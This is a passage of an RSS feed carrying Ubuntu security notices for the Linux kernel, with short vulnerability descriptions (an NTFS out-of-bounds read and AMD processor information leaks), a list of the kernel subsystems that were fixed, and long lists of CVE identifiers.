CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31507, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31577,
CVE-2026-31578, CVE-2026-31581, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683,
CVE-2026-31684, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695,
CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699,
CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721,
CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-43014,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43058,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43085, CVE-2026-43089, CVE-2026-43093, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43113, CVE-2026-43123,
CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43206, CVE-2026-43209,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302,
CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315,
CVE-2026-43316, CVE-2026-43327, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43496, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45842, CVE-2026-45843, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45864, CVE-2026-45873,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46259, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46275, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46319)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-2: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:31:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8576-2: Linux kernel (NVIDIA Tegra) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
